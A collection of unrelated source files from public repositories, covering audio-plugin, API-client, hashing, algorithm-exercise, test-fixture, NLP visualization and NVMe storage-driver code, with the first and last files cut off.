//----------------------------------------------------------------------
#include "mip.h"
//#include "base/types/mip_array.h"
//#include "base/types/mip_queue.h"
//#include "base/utils/mip_math.h"
#include "extern/clap/clap.h"
class MIP_AudioPort;
typedef MIP_Array<MIP_AudioPort*> MIP_AudioPortArray;
//----------------------------------------------------------------------
//
//
//
//----------------------------------------------------------------------
class MIP_AudioPort {
//------------------------------
private:
//------------------------------
clap_audio_port_info_t MInfo = {
.id = 0, // set this in appendAudioPort
.name = {0},
.flags = 0, // CLAP_AUDIO_PORT_IS_MAIN
.channel_count = 0,
.port_type = {0}, // CLAP_PORT_STEREO
.in_place_pair = CLAP_INVALID_ID
};
//------------------------------
public:
//------------------------------
MIP_AudioPort() {
}
//----------
MIP_AudioPort(const clap_audio_port_info_t* info) {
MInfo.id = info->id;
strncpy(MInfo.name,info->name,CLAP_NAME_SIZE);
MInfo.flags = info->flags;
MInfo.channel_count = info->channel_count;
MInfo.port_type = info->port_type;
MInfo.in_place_pair = info->in_place_pair;
}
//----------
MIP_AudioPort(const char* AName, uint32_t AFlags=CLAP_AUDIO_PORT_IS_MAIN, uint32_t AChannels=2, const char* APortType=CLAP_PORT_STEREO, uint32_t AInPlacePair=CLAP_INVALID_ID) {
//MInfo.id = 0;
strncpy(MInfo.name,AName,CLAP_NAME_SIZE);
MInfo.flags = AFlags;
MInfo.channel_count = AChannels;
MInfo.port_type = APortType;
MInfo.in_place_pair = AInPlacePair;
}
//----------
~MIP_AudioPort() {
}
//------------------------------
public:
//------------------------------
// set/get
void setId(uint32_t AId) { MInfo.id = AId; }
void setName(const char* AName) { strcpy(MInfo.name,AName); }
void setFlags(uint32_t AFlags) { MInfo.flags = AFlags; }
void setChannelCount(uint32_t ACount) { MInfo.channel_count = ACount; }
void setPortType(const char* AType) { strcpy((char*)MInfo.port_type,AType); }
void setInPlacePair(uint32_t APair) { MInfo.in_place_pair = APair; }
uint32_t getId() { return MInfo.id; }
const char* getName() { return MInfo.name; }
uint32_t getFlags() { return MInfo.flags; }
uint32_t getChannelCount() { return MInfo.channel_count; }
const char* getPortType() { return MInfo.port_type; }
uint32_t getInPlacePair() { return MInfo.in_place_pair; }
clap_audio_port_info_t* getInfo() {
return &MInfo;
}
//------------------------------
public:
//------------------------------
};
//----------------------------------------------------------------------
#endif
|
OpsLevel/datadog-api-client-ruby | lib/datadog_api_client/v2/models/incident_create_attributes.rb | <gh_stars>0
=begin
#Datadog API V2 Collection
#Collection of all Datadog Public endpoints.
The version of the OpenAPI document: 1.0
Contact: <EMAIL>
Generated by: https://github.com/DataDog/datadog-api-client-ruby/tree/master/.generator
Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License.
This product includes software developed at Datadog (https://www.datadoghq.com/).
Copyright 2020-Present Datadog, Inc.
=end
require 'date'
require 'time'
module DatadogAPIClient::V2
# The incident's attributes for a create request.
class IncidentCreateAttributes
include BaseGenericModel
# Whether the object has unparsed attributes
# @!visibility private
attr_accessor :_unparsed
# A flag indicating whether the incident caused customer impact.
attr_accessor :customer_impacted
# A condensed view of the user-defined fields for which to create initial selections.
attr_accessor :fields
# An array of initial timeline cells to be placed at the beginning of the incident timeline.
attr_accessor :initial_cells
# Notification handles that will be notified of the incident at creation.
attr_accessor :notification_handles
# The title of the incident, which summarizes what happened.
attr_accessor :title
# Attribute mapping from ruby-style variable name to JSON key.
# @!visibility private
def self.attribute_map
{
:'customer_impacted' => :'customer_impacted',
:'fields' => :'fields',
:'initial_cells' => :'initial_cells',
:'notification_handles' => :'notification_handles',
:'title' => :'title'
}
end
# Returns all the JSON keys this model knows about
# @!visibility private
def self.acceptable_attributes
attribute_map.values
end
# Attribute type mapping.
# @!visibility private
def self.openapi_types
{
:'customer_impacted' => :'Boolean',
:'fields' => :'Hash<String, IncidentFieldAttributes>',
:'initial_cells' => :'Array<IncidentTimelineCellCreateAttributes>',
:'notification_handles' => :'Array<IncidentNotificationHandle>',
:'title' => :'String'
}
end
# List of attributes with nullable: true
# @!visibility private
def self.openapi_nullable
Set.new([
])
end
# Initializes the object
# @param attributes [Hash] Model attributes in the form of hash
# @!visibility private
def initialize(attributes = {})
if (!attributes.is_a?(Hash))
fail ArgumentError, "The input argument (attributes) must be a hash in `DatadogAPIClient::V2::IncidentCreateAttributes` initialize method"
end
# check to see if the attribute exists and convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h|
if (!self.class.attribute_map.key?(k.to_sym))
fail ArgumentError, "`#{k}` is not a valid attribute in `DatadogAPIClient::V2::IncidentCreateAttributes`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect
end
h[k.to_sym] = v
}
if attributes.key?(:'customer_impacted')
self.customer_impacted = attributes[:'customer_impacted']
end
if attributes.key?(:'fields')
self.fields = attributes[:'fields']
end
if attributes.key?(:'initial_cells')
if (value = attributes[:'initial_cells']).is_a?(Array)
self.initial_cells = value
end
end
if attributes.key?(:'notification_handles')
if (value = attributes[:'notification_handles']).is_a?(Array)
self.notification_handles = value
end
end
if attributes.key?(:'title')
self.title = attributes[:'title']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
# @!visibility private
def list_invalid_properties
invalid_properties = Array.new
if @customer_impacted.nil?
invalid_properties.push('invalid value for "customer_impacted", customer_impacted cannot be nil.')
end
if @title.nil?
invalid_properties.push('invalid value for "title", title cannot be nil.')
end
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
# @!visibility private
def valid?
return false if @customer_impacted.nil?
return false if @title.nil?
true
end
# Custom attribute writer method with validation
# @param customer_impacted [Object] Object to be assigned
# @!visibility private
def customer_impacted=(customer_impacted)
if customer_impacted.nil?
fail ArgumentError, 'invalid value for "customer_impacted", customer_impacted cannot be nil.'
end
@customer_impacted = customer_impacted
end
# Custom attribute writer method with validation
# @param title [Object] Object to be assigned
# @!visibility private
def title=(title)
if title.nil?
fail ArgumentError, 'invalid value for "title", title cannot be nil.'
end
@title = title
end
# Checks equality by comparing each attribute.
# @param o [Object] Object to be compared
# @!visibility private
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
customer_impacted == o.customer_impacted &&
fields == o.fields &&
initial_cells == o.initial_cells &&
notification_handles == o.notification_handles &&
title == o.title
end
# @see the `==` method
# @param o [Object] Object to be compared
# @!visibility private
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Integer] Hash code
# @!visibility private
def hash
[customer_impacted, fields, initial_cells, notification_handles, title].hash
end
end
end
|
ceekay1991/AliPayForDebug | AliPayForDebug/AliPayForDebug/AlipayWallet_Headers/ARScanFileManager.h | //
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Sep 17 2017 16:24:48).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by <NAME>.
//
#import <objc/NSObject.h>
@interface ARScanFileManager : NSObject
{
}
+ (id)defaultManager;
- (id)downloadFromDjango:(id)arg1 md5:(id)arg2 key:(id)arg3;
- (id)fileStorePath:(id)arg1 key:(id)arg2;
- (id)getFuRecList;
- (_Bool)fileExist:(id)arg1;
- (id)downloadPath;
@end
|
qtwang/streaminer | src/test/java/org/streaminer/util/hash/Lookup3HashTest.java | /**
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.streaminer.util.hash;
import org.streaminer.util.hash.Lookup3Hash;
import java.util.Random;
import org.junit.Test;
import static org.junit.Assert.*;
/**
* Tests for lookup3ycs hash functions
*
* @author yonik
*/
public class Lookup3HashTest
{
// Test that the java version produces the same output as the C version
@Test
public void testEqualsLOOKUP3()
{
int[] hashes = new int[]{0xc4c20dd5, 0x3ab04cc3, 0xebe874a3, 0x0e770ef3, 0xec321498, 0x73845e86, 0x8a2db728, 0x03c313bb, 0xfe5b9199, 0x95965125, 0xcbc4e7c2};
/*** the hash values were generated by adding the following to lookup3.c
*
* char* s = "hello world";
* int len = strlen(s);
* uint32_t a[len];
* for (int i=0; i<len; i++) {
* a[i]=s[i];
* uint32_t result = hashword(a, i+1, i*12345);
* printf("0x%.8x\n", result);
* }
*
*/
String s = "hello world";
int[] a = new int[s.length()];
for (int i = 0; i < s.length(); i++)
{
a[i] = s.charAt(i);
int len = i + 1;
int hash = Lookup3Hash.lookup3(a, 0, len, i * 12345);
assertEquals(hashes[i], hash);
int hash2 = Lookup3Hash.lookup3ycs(a, 0, len, i * 12345 + (len << 2));
assertEquals(hashes[i], hash2);
int hash3 = Lookup3Hash.lookup3ycs(s, 0, len, i * 12345 + (len << 2));
assertEquals(hashes[i], hash3);
}
}
/**
* test that the hash of the UTF-16 encoded Java String is equal to the hash of the unicode code points
*
* @param utf32
* @param len
*/
void tstEquiv(int[] utf32, int len)
{
int seed = 100;
StringBuilder sb = new StringBuilder();
for (int i = 0; i < len; i++)
{
sb.appendCodePoint(utf32[i]);
}
int hash = Lookup3Hash.lookup3(utf32, 0, len, seed - (len << 2));
int hash2 = Lookup3Hash.lookup3ycs(utf32, 0, len, seed);
assertEquals(hash, hash2);
int hash3 = Lookup3Hash.lookup3ycs(sb, 0, sb.length(), seed);
assertEquals(hash, hash3);
long hash4 = Lookup3Hash.lookup3ycs64(sb, 0, sb.length(), seed);
assertEquals((int) hash4, hash);
}
@Test
public void testHash()
{
Random r = new Random(0);
int[] utf32 = new int[20];
tstEquiv(utf32, 0);
utf32[0] = 0x10000;
tstEquiv(utf32, 1);
utf32[0] = 0x8000;
tstEquiv(utf32, 1);
utf32[0] = Character.MAX_CODE_POINT;
tstEquiv(utf32, 1);
for (int iter = 0; iter < 10000; iter++)
{
int len = r.nextInt(utf32.length + 1);
for (int i = 0; i < len; i++)
{
int codePoint;
do
{
codePoint = r.nextInt(Character.MAX_CODE_POINT + 1);
} while ((codePoint & 0xF800) == 0xD800); // avoid surrogate code points
utf32[i] = codePoint;
}
// System.out.println("len="+len + ","+utf32[0]+","+utf32[1]);
tstEquiv(utf32, len);
}
}
}
|
dakshkhetan/ds-and-algo | Pepcoding/Level1/DP&Greedy/BuyAndSellStocksTransactionFee.java | <filename>Pepcoding/Level1/DP&Greedy/BuyAndSellStocksTransactionFee.java<gh_stars>1-10
/*
Sample Input
12
10
15
17
20
16
18
22
20
22
20
23
25
3
Sample Output
13
*/
import java.util.*;
public class Main {
public static int buyAndSellStocksTransactionFee(int[] prices, int fee) {
// BSP - "bought" state profit
// SSP - "sold" state profit
int oldBSP = -prices[0];
int oldSSP = 0;
for (int i = 1; i < prices.length; i++) {
int price = prices[i];
int option1 = oldBSP;
int option2 = oldSSP - price;
int newBSP = Math.max(option1, option2);
option1 = oldSSP;
option2 = oldBSP + price - fee;
int newSSP = Math.max(option1, option2);
oldBSP = newBSP;
oldSSP = newSSP;
}
return oldSSP;
}
public static int buyAndSellStocksTransactionFeeWithArray(int[] prices, int fee) {
int n = prices.length;
int bsp[] = new int[n]; // "bought" state profit
int ssp[] = new int[n]; // "sold" state profit
bsp[0] = -prices[0];
ssp[0] = 0;
for (int i = 1; i < n; i++) {
int option1 = bsp[i - 1];
int option2 = ssp[i - 1] - prices[i];
bsp[i] = Math.max(option1, option2);
option1 = ssp[i - 1];
option2 = bsp[i - 1] + prices[i] - fee;
ssp[i] = Math.max(option1, option2);
}
return ssp[n - 1];
}
public static void main(String[] args) {
Scanner s = new Scanner(System.in);
int n = s.nextInt();
int arr[] = new int[n];
for (int i = 0; i < n; i++) {
arr[i] = s.nextInt();
}
int fee = s.nextInt();
int result = buyAndSellStocksTransactionFee(arr, fee);
// int result = buyAndSellStocksTransactionFeeWithArray(arr, fee);
System.out.println(result);
}
}
|
zhuhanming/duchess | src/test/java/duke/util/DateTimeStringFormatterTest.java | package duke.util;
import static org.junit.jupiter.api.Assertions.assertEquals;
import java.time.LocalDate;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import org.junit.jupiter.api.Test;
/**
* JUnit test class for {@code DateTimeStringFormatter}.
*/
public class DateTimeStringFormatterTest {
/**
* Tests the formatter functionalities.
*/
@Test
public void testFormatter() {
LocalDateTime overdueTime = LocalDate.now().atTime(0, 0, 0);
// Testing overdue dates
assertEquals("Today 12:00 am", DateTimeStringFormatter.formatDateTime(overdueTime, true)); // isCompleted works
assertEquals("Today 12:00 am [OVERDUE]", DateTimeStringFormatter.formatDateTime(overdueTime, false));
assertEquals("Yesterday 12:00 am [OVERDUE]", DateTimeStringFormatter.formatDateTime(
overdueTime.minusDays(1), false));
// The next test will fail if two days ago was in a different year
if (overdueTime.minusDays(2).getYear() == overdueTime.getYear()) {
assertEquals(overdueTime.minusDays(2).format(DateTimeFormatter.ofPattern("MMM d "))
+ "12:00 am [OVERDUE]", DateTimeStringFormatter.formatDateTime(overdueTime.minusDays(2), false));
} else {
assertEquals(overdueTime.minusDays(2).format(DateTimeFormatter.ofPattern("MMM d yyy"))
+ "12:00 am [OVERDUE]", DateTimeStringFormatter.formatDateTime(overdueTime.minusDays(2), false));
}
// Testing difference in year
assertEquals(overdueTime.minusYears(1).format(DateTimeFormatter.ofPattern("MMM d yyyy "))
+ "12:00 am [OVERDUE]", DateTimeStringFormatter.formatDateTime(overdueTime.minusYears(1), false));
LocalDateTime notOverdueTime = LocalDate.now().atTime(23, 59, 59);
// Testing non-overdue dates
assertEquals("Today 11:59 pm", DateTimeStringFormatter.formatDateTime(notOverdueTime, false));
assertEquals("Tomorrow 11:59 pm", DateTimeStringFormatter.formatDateTime(notOverdueTime.plusDays(1), false));
assertEquals(notOverdueTime.plusDays(2).format(DateTimeFormatter.ofPattern("EEE ")) + "11:59 pm",
DateTimeStringFormatter.formatDateTime(notOverdueTime.plusDays(2), false));
assertEquals(notOverdueTime.plusDays(20).format(DateTimeFormatter.ofPattern("MMM d ")) + "11:59 pm",
DateTimeStringFormatter.formatDateTime(notOverdueTime.plusDays(20), false));
assertEquals(notOverdueTime.plusYears(1).format(DateTimeFormatter.ofPattern("MMM d yyyy ")) + "11:59 pm",
DateTimeStringFormatter.formatDateTime(notOverdueTime.plusYears(1), false));
}
}
|
donovan-PNW/dwellinglybackend | tests/factory_fixtures/tenant.py | <gh_stars>0
import pytest
from models.tenant import TenantModel
from schemas.tenant import TenantSchema
@pytest.fixture
def tenant_attributes(faker, create_join_staff):
def _tenant_attributes(staff=None):
if staff is None:
staff = [create_join_staff().id]
return {
"firstName": faker.first_name(),
"lastName": faker.last_name(),
"phone": faker.phone_number(),
"staffIDs": staff,
}
yield _tenant_attributes
@pytest.fixture
def create_tenant(tenant_attributes):
def _create_tenant():
return TenantModel.create(
schema=TenantSchema, payload=tenant_attributes(staff=[])
)
yield _create_tenant
|
jnthn/intellij-community | java/java-tests/testData/codeInsight/completion/smartType/IntConstInSwitch-out.java | class E {
static final int ABC;
static final int DEF;
void foo (int e) {
int ADF;
switch (e) {
case ABC:<caret>
}
}
} |
milyiyo/nlu | nlu/pipe/viz/streamlit_viz/viz_building_blocks/entity_embedding_manifold.py | import nlu
from nlu.discovery import Discoverer
from nlu.pipe.utils.storage_ref_utils import StorageRefUtils
from typing import List, Tuple, Optional, Dict, Union
import streamlit as st
from nlu.utils.modelhub.modelhub_utils import ModelHubUtils
import numpy as np
import pandas as pd
from nlu.pipe.viz.streamlit_viz.streamlit_utils_OS import StreamlitUtilsOS
from nlu.pipe.viz.streamlit_viz.gen_streamlit_code import get_code_for_viz
from nlu.pipe.viz.streamlit_viz.styles import _set_block_container_style
import random
from nlu.pipe.viz.streamlit_viz.streamlit_viz_tracker import StreamlitVizTracker
from nlu.pipe.viz.streamlit_viz.viz_building_blocks.block_utils.entity_manifold_utils import EntityManifoldUtils
class EntityEmbeddingManifoldStreamlitBlock():
@staticmethod
def viz_streamlit_entity_embed_manifold(
pipe, # nlu pipe
default_texts: List[str] = ("<NAME> likes to visit New York", "<NAME> likes to visit Berlin!", 'Peter hates visiting Paris'),
title: Optional[str] = "Lower dimensional Manifold visualization for Entity embeddings",
sub_title: Optional[str] = "Apply any of the 10+ `Manifold` or `Matrix Decomposition` algorithms to reduce the dimensionality of `Entity Embeddings` to `1-D`, `2-D` and `3-D` ",
default_algos_to_apply: List[str] = ("TSNE", "PCA"),
target_dimensions: List[int] = (1, 2, 3),
show_algo_select: bool = True,
set_wide_layout_CSS: bool = True,
num_cols: int = 3,
model_select_position: str = 'side', # side or main
key: str = "NLU_streamlit",
show_infos: bool = True,
show_logo: bool = True,
n_jobs: Optional[int] = 3, # False
):
from nlu.pipe.viz.streamlit_viz.streamlit_utils_OS import StreamlitUtilsOS
StreamlitVizTracker.footer_displayed = False
try:
import plotly.express as px
from sklearn.metrics.pairwise import distance_metrics
except:
st.error(
"You need the sklearn and plotly package in your Python environment installed for similarity visualizations. Run <pip install sklearn plotly>")
if show_logo: StreamlitVizTracker.show_logo()
if set_wide_layout_CSS: _set_block_container_style()
if title: st.header(title)
if sub_title: st.subheader(sub_title)
# if show_logo :VizUtilsStreamlitOS.show_logo()
# VizUtilsStreamlitOS.loaded_word_embeding_pipes = []
if isinstance(default_texts, list) : default_texts = '\n'.join(default_texts)
data = st.text_area('Enter N texts, seperated by new lines to visualize Sentence Embeddings for ',
default_texts).split('\n')
output_level = 'chunk'
ner_emebed_pipe_algo_selection = []
loaded_ner_embed_nlu_refs = []
algos = ['TSNE']
# A pipe should have a NER and a Word Embedding
if pipe not in StreamlitVizTracker.loaded_ner_word_embeding_pipes: StreamlitVizTracker.loaded_ner_word_embeding_pipes.append(
pipe)
if pipe not in StreamlitVizTracker.loaded_word_embeding_pipes: StreamlitVizTracker.loaded_word_embeding_pipes.append(
pipe)
if show_algo_select:
# Manifold Selection
exp = st.beta_expander("Select additional manifold and dimension reduction techniques to apply")
algos = exp.multiselect(
"Reduce embedding dimensionality to something visualizable",
options=(
"TSNE", "ISOMAP", 'LLE', 'Spectral Embedding', 'MDS', 'PCA', 'SVD aka LSA', 'DictionaryLearning',
'FactorAnalysis', 'FastICA', 'KernelPCA', 'LatentDirichletAllocation'),
default=default_algos_to_apply, )
ner_emb_components_usable = [e for e in Discoverer.get_components('ner', True, include_aliases=True) if
'embed' not in e and 'sentence' not in e]
# Find nlu_ref of currenlty loaded pipe
for p in StreamlitVizTracker.loaded_ner_word_embeding_pipes:
loaded_ner_embed_nlu_refs.append(p.nlu_ref)
# NER Selection
if model_select_position == 'side':
ner_emebed_pipe_algo_selection = st.sidebar.multiselect(
"Pick additional NER Models for the Dimension Reduction", options=ner_emb_components_usable,
default=loaded_ner_embed_nlu_refs, key=key)
else:
ner_emebed_pipe_algo_selection = exp.multiselect(
"Pick additional NER Models for the Dimension Reduction", options=ner_emb_components_usable,
default=loaded_ner_embed_nlu_refs, key=key)
for ner_nlu_ref in ner_emebed_pipe_algo_selection:
load = True
for ner_p in StreamlitVizTracker.loaded_ner_word_embeding_pipes:
if ner_p.nlu_ref == ner_nlu_ref:
load = False
break
if not load: continue
p = nlu.load(ner_nlu_ref)
if p not in StreamlitVizTracker.loaded_ner_word_embeding_pipes: StreamlitVizTracker.loaded_ner_word_embeding_pipes.append(
p)
if p not in StreamlitVizTracker.loaded_word_embeding_pipes: StreamlitVizTracker.loaded_word_embeding_pipes.append(
p)
col_index = 0
cols = st.beta_columns(num_cols)
entity_cols = EntityManifoldUtils.get_ner_cols(None)
def are_cols_full():
return col_index == num_cols
for p in StreamlitVizTracker.loaded_ner_word_embeding_pipes:
p = EntityManifoldUtils.insert_chunk_embedder_to_pipe_if_missing(p)
predictions = p.predict(data, metadata=True, output_level=output_level, multithread=False).dropna()
chunk_embed_col = EntityManifoldUtils.find_chunk_embed_col(predictions)
# TODO get cols for non default NER??? or multi ner setups??
features = predictions[EntityManifoldUtils.get_ner_cols(predictions)]
# e_col = StreamlitUtilsOS.find_embed_col(predictions)
e_com = StreamlitUtilsOS.find_embed_component(p)
e_com_storage_ref = StorageRefUtils.extract_storage_ref(e_com, True)
emb = predictions[chunk_embed_col]
mat = np.array([x for x in emb])
# for ner_emb_p in ps:
for algo in algos:
# Only pos values for latent Dirchlet
if algo == 'LatentDirichletAllocation': mat = np.square(mat)
if len(mat.shape) > 2: mat = mat.reshape(len(emb), mat.shape[-1])
hover_data = entity_cols + ['text']
# calc reduced dimensionality with every algo
feature_to_color_by = 'entities_class'
if 1 in target_dimensions:
low_dim_data = StreamlitUtilsOS.get_manifold_algo(algo, 1, n_jobs).fit_transform(mat)
x = low_dim_data[:, 0]
y = np.zeros(low_dim_data[:, 0].shape)
# predictions['text'] = original_text
tsne_df = pd.DataFrame({**{'x': x, 'y': y},
**{k: predictions[k] for k in entity_cols},
**{'text': predictions['entities']}
})
fig = px.scatter(tsne_df, x="x", y="y", color=feature_to_color_by, hover_data=hover_data)
subh = f"""Word-Embeddings =`{e_com_storage_ref}`, NER-Model =`{p.nlu_ref}`, Manifold-Algo =`{algo}` for `D=1`"""
cols[col_index].markdown(subh)
cols[col_index].write(fig, key=key)
col_index += 1
if are_cols_full():
cols = st.beta_columns(num_cols)
col_index = 0
if 2 in target_dimensions:
low_dim_data = StreamlitUtilsOS.get_manifold_algo(algo, 2, n_jobs).fit_transform(mat)
x = low_dim_data[:, 0]
y = low_dim_data[:, 1]
tsne_df = pd.DataFrame({**{'x': x, 'y': y},
**{k: predictions[k] for k in entity_cols},
**{'text': predictions['entities']}
})
fig = px.scatter(tsne_df, x="x", y="y", color=feature_to_color_by, hover_data=hover_data)
subh = f"""Word-Embeddings =`{e_com_storage_ref}`, NER-Model =`{p.nlu_ref}`, Manifold-Algo =`{algo}` for `D=2`"""
cols[col_index].markdown(subh)
cols[col_index].write(fig, key=key)
col_index += 1
if are_cols_full():
cols = st.beta_columns(num_cols)
col_index = 0
if 3 in target_dimensions:
low_dim_data = StreamlitUtilsOS.get_manifold_algo(algo, 3, n_jobs).fit_transform(mat)
x = low_dim_data[:, 0]
y = low_dim_data[:, 1]
z = low_dim_data[:, 2]
tsne_df = pd.DataFrame({**{'x': x, 'y': y, 'z': z},
**{k: predictions[k] for k in entity_cols},
**{'text': predictions['entities']}
})
fig = px.scatter_3d(tsne_df, x="x", y="y", z='z', color=feature_to_color_by, hover_data=hover_data)
subh = f"""Word-Embeddings =`{e_com_storage_ref}`, NER-Model =`{p.nlu_ref}`, Manifold-Algo =`{algo}` for `D=3`"""
cols[col_index].markdown(subh)
cols[col_index].write(fig, key=key)
col_index += 1
if are_cols_full():
cols = st.beta_columns(num_cols)
col_index = 0
# Todo fancy embed infos etc
# if display_embed_information: display_embed_vetor_information(e_com,mat)
# if display_embed_information:
# exp = st.beta_expander("Embedding vector information")
# exp.write(embed_vector_info)
if show_infos:
# VizUtilsStreamlitOS.display_infos()
StreamlitVizTracker.display_model_info(pipe.nlu_ref, pipes=[pipe])
StreamlitVizTracker.display_footer()
|
iljoongkr/poseidonos | src/device/unvme/unvme_drv.cpp | /*
* BSD LICENSE
* Copyright (c) 2021 Samsung Electronics Corporation
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* * Neither the name of Intel Corporation nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "unvme_drv.h"
#include <utility>
#include "Air.h"
#include "spdk/thread.h"
#include "src/bio/ubio.h"
#include "src/device/unvme/unvme_device_context.h"
#include "src/device/unvme/unvme_io_context.h"
#include "src/device/unvme/unvme_ssd.h"
#include "src/event_scheduler/callback.h"
#include "src/include/branch_prediction.h"
#include "src/include/pos_event_id.h"
#include "src/include/pos_event_id.hpp"
#include "src/logger/logger.h"
#include "src/spdk_wrapper/caller/spdk_nvme_caller.h"
#include "src/spdk_wrapper/nvme.hpp"
namespace pos
{
static void
UpdateRetryAndRecovery(const struct spdk_nvme_cpl* completion, UnvmeIOContext* ioCtx)
{
bool retrySkipSctGeneric =
(completion->status.sct == SPDK_NVME_SCT_GENERIC &&
completion->status.sc != SPDK_NVME_SC_ABORTED_BY_REQUEST);
bool retrySkipCmdError =
(completion->status.sct == SPDK_NVME_SCT_COMMAND_SPECIFIC);
bool retrySkipMediaError =
(completion->status.sct == SPDK_NVME_SCT_MEDIA_ERROR &&
(completion->status.sc == SPDK_NVME_SC_COMPARE_FAILURE ||
completion->status.sc == SPDK_NVME_SC_DEALLOCATED_OR_UNWRITTEN_BLOCK));
bool retrySkipPathError =
(completion->status.sct == SPDK_NVME_SCT_PATH &&
(completion->status.sc != SPDK_NVME_SC_ABORTED_BY_HOST));
if (retrySkipSctGeneric || retrySkipCmdError ||
retrySkipMediaError || retrySkipPathError)
{
ioCtx->ClearErrorRetryCount();
}
}
static void
_CollectAirReadLog(uint64_t size, uint64_t ssdId)
{
airlog("PERF_SSD", "AIR_READ", ssdId, size);
}
static void
_CollectAirWriteLog(uint64_t size, uint64_t ssdId)
{
airlog("PERF_SSD", "AIR_WRITE", ssdId, size);
}
static void
AsyncIOComplete(void* ctx, const struct spdk_nvme_cpl* completion)
{
UnvmeIOContext* ioCtx = static_cast<UnvmeIOContext*>(ctx);
UnvmeDeviceContext* devCtx = ioCtx->GetDeviceContext();
if (likely(!ioCtx->IsAsyncIOCompleted()))
{
devCtx->DecreasePendingIO();
if (unlikely(ioCtx->IsAdminCommand()))
{
devCtx->DecAdminCommandCount();
}
if (!ioCtx->IsFrontEnd())
{
POS_EVENT_ID eventId = POS_EVENT_ID::UNVME_DEBUG_COMPLETE_IO;
POS_TRACE_DEBUG_IN_MEMORY(ModuleInDebugLogDump::IO_GENERAL,
eventId, PosEventId::GetString(eventId),
ioCtx->GetStartSectorOffset(),
ioCtx->GetSectorCount(),
static_cast<int>(ioCtx->GetOpcode()),
completion->status.sc, completion->status.sct, ioCtx->GetDeviceName());
}
ioCtx->SetAsyncIOCompleted();
if (ioCtx->HasOutOfMemoryError())
{
// if continueous submit retry for same io context accumulates its submit retry count.
ioCtx->IncOutOfMemoryRetryCount();
ioCtx->SetOutOfMemoryError(false);
}
else
{
ioCtx->ClearOutOfMemoryRetryCount();
}
if (unlikely(spdk_nvme_cpl_is_error(completion)))
{
UpdateRetryAndRecovery(completion, ioCtx);
devCtx->AddPendingError(*ioCtx);
}
else
{
auto dir = ioCtx->GetOpcode();
uint64_t size = ioCtx->GetByteCount();
uint64_t ssdId =
reinterpret_cast<uint64_t>(ioCtx->GetDeviceContext());
if (UbioDir::Read == dir)
{
_CollectAirReadLog(size, ssdId);
}
else if (UbioDir::Write == dir)
{
_CollectAirWriteLog(size, ssdId);
}
devCtx->ioCompletionCount++;
ioCtx->CompleteIo(IOErrorType::SUCCESS);
delete ioCtx;
}
}
}
static void
SpdkDetachEventHandler(std::string sn)
{
UnvmeDrvSingleton::Instance()->DeviceDetached(sn);
}
static void
SpdkAttachEventHandler(struct spdk_nvme_ns* ns, int num_devs,
const spdk_nvme_transport_id* trid)
{
UnvmeDrvSingleton::Instance()->DeviceAttached(ns, num_devs, trid);
}
UnvmeDrv::UnvmeDrv(UnvmeCmd* unvmeCmd, SpdkNvmeCaller* spdkNvmeCaller)
: nvmeSsd(new Nvme("spdk_daemon")),
unvmeCmd(unvmeCmd),
spdkNvmeCaller(spdkNvmeCaller)
{
name = "UnvmeDrv";
nvmeSsd->SetCallback(SpdkAttachEventHandler, SpdkDetachEventHandler);
if (this->unvmeCmd == nullptr)
{
this->unvmeCmd = new UnvmeCmd();
}
if (this->spdkNvmeCaller == nullptr)
{
this->spdkNvmeCaller = new SpdkNvmeCaller();
}
}
UnvmeDrv::~UnvmeDrv(void)
{
if (nullptr != nvmeSsd)
{
nvmeSsd->Stop();
}
if (nullptr != unvmeCmd)
{
delete unvmeCmd;
}
if (nullptr != spdkNvmeCaller)
{
delete spdkNvmeCaller;
}
}
DeviceMonitor*
UnvmeDrv::GetDaemon(void)
{
return nvmeSsd;
}
int
UnvmeDrv::DeviceDetached(std::string sn)
{
if (nullptr == detach_event)
{
POS_EVENT_ID eventId = POS_EVENT_ID::UNVME_SSD_DETACH_NOTIFICATION_FAILED;
POS_TRACE_ERROR(eventId, PosEventId::GetString(eventId), sn);
return (int)eventId;
}
